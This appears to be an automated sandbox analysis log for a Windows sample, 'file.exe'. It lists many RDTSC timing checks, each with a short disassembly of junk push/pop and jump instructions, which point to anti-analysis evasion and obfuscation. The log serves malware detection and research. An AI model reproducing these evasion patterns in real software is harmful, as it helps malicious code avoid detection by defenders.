Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5641 second address: 7A5661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDD98C55BF7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5BAD second address: 7A5BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5BB1 second address: 7A5C0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDD98C55BEBh 0x00000015 pop edx 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jg 00007FDD98C55BEEh 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 push esi 0x00000024 jmp 00007FDD98C55BF2h 0x00000029 pop esi 0x0000002a pushad 0x0000002b jns 00007FDD98C55BE6h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5C0C second address: 7A5C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5C1B second address: 7A5C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6076 second address: 7A6080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDD98B6CD16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A640A second address: 7A6417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FDD98C55BE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A65E0 second address: 7A65E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6749 second address: 7A674F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A674F second address: 7A6761 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FDD98B6CD16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6761 second address: 7A6783 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FDD98C55BF1h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6834 second address: 7A683A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A683A second address: 7A68AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007FDD98C55BFFh 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FDD98C55BF6h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FDD98C55BE8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov cx, 2031h 0x00000031 lea eax, dword ptr [ebp+1248A307h] 0x00000037 xor dh, FFFFFFBCh 0x0000003a nop 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A68AF second address: 7A68B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A68B3 second address: 7A68DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDD98C55BF8h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FDD98C55BE6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A68DC second address: 7A693D instructions: 0x00000000 rdtsc 0x00000002 js 00007FDD98B6CD16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007FDD98B6CD26h 0x00000010 pop edi 0x00000011 popad 0x00000012 nop 0x00000013 sub dword ptr [ebp+12460A07h], ebx 0x00000019 lea eax, dword ptr [ebp+1248A2C3h] 0x0000001f sub dword ptr [ebp+122D3378h], edx 0x00000025 nop 0x00000026 jng 00007FDD98B6CD20h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FDD98B6CD26h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A693D second address: 78228C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b adc ecx, 39D4F45Bh 0x00000011 call dword ptr [ebp+122D1C4Dh] 0x00000017 jc 00007FDD98C55C39h 0x0000001d jmp 00007FDD98C55BF8h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FDD98C55BF7h 0x00000029 jno 00007FDD98C55BE6h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EF5E second address: 74EF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA15B second address: 7EA15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA15F second address: 7EA169 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDD98B6CD16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA169 second address: 7EA175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA2D7 second address: 7EA2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDC81 second address: 7EDC85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED7C6 second address: 7ED7D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnc 00007FDD98B6CD18h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED7D3 second address: 7ED7E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FDD98C55BECh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F024E second address: 7F0254 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0254 second address: 7F0271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98C55BF9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0271 second address: 7F0275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFF53 second address: 7EFF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BF0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6F76 second address: 7F6FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jng 00007FDD98B6CD25h 0x0000000d jmp 00007FDD98B6CD1Fh 0x00000012 pushad 0x00000013 jmp 00007FDD98B6CD22h 0x00000018 jne 00007FDD98B6CD16h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 pop edi 0x00000023 jne 00007FDD98B6CD16h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759108 second address: 759133 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDD98C55BFEh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b ja 00007FDD98C55BE6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F57C7 second address: 7F57CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F57CD second address: 7F57D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F592F second address: 7F5948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push ecx 0x0000000b je 00007FDD98B6CD16h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5AD3 second address: 7F5AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jnp 00007FDD98C55BE6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5AE1 second address: 7F5AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5AE6 second address: 7F5AF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEAh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5C61 second address: 7F5C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5C65 second address: 7F5C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5F09 second address: 7F5F0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6213 second address: 7A621D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FDD98C55BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A621D second address: 7A6221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6212 second address: 7F6229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FDD98C55BEFh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB1A4 second address: 7FB1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB1A8 second address: 7FB1AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB1AC second address: 7FB1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FDD98B6CD27h 0x0000000c jmp 00007FDD98B6CD28h 0x00000011 pop ecx 0x00000012 push ecx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jno 00007FDD98B6CD16h 0x0000001b pop ecx 0x0000001c push eax 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA4BC second address: 7FA4C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA4C2 second address: 7FA4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAA75 second address: 7FAA79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAA79 second address: 7FAA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAD55 second address: 7FAD6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEDh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAD6C second address: 7FAD70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF30D second address: 7FF311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF311 second address: 7FF323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FDD98B6CD18h 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF323 second address: 7FF330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FDD98C55BE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FECE7 second address: 7FECF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 jns 00007FDD98B6CD16h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF017 second address: 7FF048 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEFh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f pushad 0x00000010 jne 00007FDD98C55BE6h 0x00000016 jmp 00007FDD98C55BEFh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808508 second address: 80850C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80640E second address: 806413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8066F7 second address: 8066FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8066FF second address: 806704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806A19 second address: 806A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDD98B6CD1Ah 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FDD98B6CD26h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806A49 second address: 806A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806D1C second address: 806D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806D22 second address: 806D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806D26 second address: 806D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDD98B6CD1Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806D39 second address: 806D3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806D3E second address: 806D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80700A second address: 80703C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BF9h 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007FDD98C55BE6h 0x00000018 jns 00007FDD98C55BE6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80703C second address: 807042 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807042 second address: 807048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807048 second address: 807065 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD28h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8078B4 second address: 8078B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807B70 second address: 807B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDD98B6CD16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807B7B second address: 807BD9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDD98C55BF7h 0x00000008 jmp 00007FDD98C55BEFh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jno 00007FDD98C55BE6h 0x00000018 jmp 00007FDD98C55BEAh 0x0000001d jmp 00007FDD98C55BF6h 0x00000022 popad 0x00000023 pop edx 0x00000024 pop eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 jmp 00007FDD98C55BF2h 0x0000002d pop eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807BD9 second address: 807BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807BE1 second address: 807BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807BE6 second address: 807C08 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDD98B6CD2Ch 0x00000008 jmp 00007FDD98B6CD24h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807C08 second address: 807C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C773 second address: 80C777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C777 second address: 80C788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jnl 00007FDD98C55BE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C788 second address: 80C7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pushad 0x00000007 push ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FDD98B6CD1Ah 0x0000000f pop ecx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FDD98B6CD25h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C7B7 second address: 80C7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDD98C55BECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C7CC second address: 80C7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80CC14 second address: 80CC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F30 second address: 811F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDD98B6CD16h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F3F second address: 811F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F4D second address: 811F5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDD98B6CD1Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F5F second address: 811F6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEAh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F6F second address: 811F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDD98B6CD16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F79 second address: 811F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F7D second address: 811F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F8A second address: 811F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F8E second address: 811F98 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDD98B6CD16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811F98 second address: 811FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FDD98C55BE6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
